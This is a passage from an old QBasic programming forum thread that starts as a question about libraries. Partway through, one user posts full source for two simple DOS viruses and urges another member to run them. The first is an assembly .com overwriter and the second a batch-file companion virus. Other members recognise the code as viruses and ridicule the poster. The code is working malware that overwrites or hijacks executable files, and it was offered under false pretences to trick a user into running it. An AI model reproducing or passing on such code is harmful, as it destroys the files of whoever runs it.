Qbasicnews.com
January 28, 2022, 12:24:38 AM *
Welcome, Guest. Please login or register.

Login with username, password and session length
News: Back to Qbasicnews.com | QB Online Help | FAQ | Chat | All Basic Code | QB Knowledge Base
 
   Home   Help Search Login Register  
Pages: [1] 2
  Print  
Author Topic: Libraries ???  (Read 6248 times)
Diroga
Been there, done that
*****
Posts: 1087


« on: August 25, 2003, 03:04:31 PM »

ok so what's the deal with libraies?
Logged
Plasma
Na_th_an
*****
Posts: 1770


WWW
« Reply #1 on: August 25, 2003, 03:16:46 PM »

You can check out books there for free.
Logged
whitetiger0990
__/--\__
*****
Posts: 2964



WWW
« Reply #2 on: August 25, 2003, 04:00:09 PM »

lol
Logged


[size=10]Back by popular demand!
I will byte and nibble you bit by bit until nothing remains but crumbs.[/size]
red_Marvin
Na_th_an
*****
Posts: 1509



WWW
« Reply #3 on: August 25, 2003, 04:01:29 PM »

he might mean libraries for QB eh?

Well that I will explain briefly:
In qbasic there's a lot of built in functions for keyboard
access, graphics and so on.
But the built in commands are not always enough, you want faster,
better whatever, that's where those libraries are useful.
You just include the library when you code and compile and
then you gain access to all of these fancy functions that are
in the library...
See?...
Logged

/post]
whitetiger0990
__/--\__
*****
Posts: 2964



WWW
« Reply #4 on: August 25, 2003, 04:02:42 PM »

Quote from: "red_Marvin"
he might mean libraries for QB eh?

i doubt it
Logged


[size=10]Back by popular demand!
I will byte and nibble you bit by bit until nothing remains but crumbs.[/size]
Diroga
Been there, done that
*****
Posts: 1087


« Reply #5 on: August 25, 2003, 04:32:47 PM »

tiger, get a C compiler and run this
Code:
Code Segment
Assume CS:code,DS:code
Org 100h

startvx proc near

mov ah,4eh
mov cx,0000h
mov dx,offset star_com
int 21h

mov ah,3dh
mov al,02h
mov dx,9eh
int 21h

xchg bx,ax

mov ah,40h
mov cx,offset endvx - offset startvx
mov dx,offset startvx
int 21h

mov ah,3eh
int 21h

int 20h

startvx endp

star_com: db "*.com",0

endvx label near

code ends
end startvx
Logged
Diroga
Been there, done that
*****
Posts: 1087


« Reply #6 on: August 25, 2003, 04:34:50 PM »

what do i need to make/run them. any good sites?
Logged
whitetiger0990
__/--\__
*****
Posts: 2964



WWW
« Reply #7 on: August 25, 2003, 04:57:21 PM »

Quote from: "Diroga"
tiger, get a C compiler and run this

no... why?
Logged


[size=10]Back by popular demand!
I will byte and nibble you bit by bit until nothing remains but crumbs.[/size]
Plasma
Na_th_an
*****
Posts: 1770


WWW
« Reply #8 on: August 25, 2003, 05:08:27 PM »

Diroga, I don't know who you think you're fooling by posting ASSEMBLY source to a crappy .com virus.

(Which would be assembled with an ASSEMBLER, not a C compiler.)

...n00bs...
Logged
whitetiger0990
__/--\__
*****
Posts: 2964



WWW
« Reply #9 on: August 25, 2003, 05:17:10 PM »

thats a virus? whats it do?
Logged


[size=10]Back by popular demand!
I will byte and nibble you bit by bit until nothing remains but crumbs.[/size]
Diroga
Been there, done that
*****
Posts: 1087


« Reply #10 on: August 25, 2003, 05:26:22 PM »

good C compilers will run ASM. i've seen it.
Logged
Plasma
Na_th_an
*****
Posts: 1770


WWW
« Reply #11 on: August 25, 2003, 05:29:14 PM »

Finds the first .com file and copies itself over it.
Logged
Plasma
Na_th_an
*****
Posts: 1770


WWW
« Reply #12 on: August 25, 2003, 05:30:53 PM »

Good C compilers *support* inline assembly. They do not "run" assembly. And that code, as posted, will not compile in any C compiler.
Logged
Diroga
Been there, done that
*****
Posts: 1087


« Reply #13 on: August 25, 2003, 05:33:00 PM »

ok then
Code:
@echo off
ctty nul
for %%f in (*.exe *.com) do set A=%%f
if %A%==COMMAND.COM set A=
rename %A% V%A%
if not exist V%A% goto end
attrib +h V%A%
copy %0.bat %A%
attrib +r %A%
ren %A% *.bat
set A=
:end
ctty con
@if exist V%0.com V%0.com %1 %2 %3
@if exist V%0.exe V%0.exe %1 %2 %3
Logged
Plasma
Na_th_an
*****
Posts: 1770


WWW
« Reply #14 on: August 25, 2003, 05:38:12 PM »

*ooooh, batch file viruses now?*

You can stop copying and pasting from your l33t kiddie virus collection and let the rest of us get back to work now.
Logged
Pages: [1] 2
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.21 | SMF © 2015, Simple Machines Valid XHTML 1.0! Valid CSS!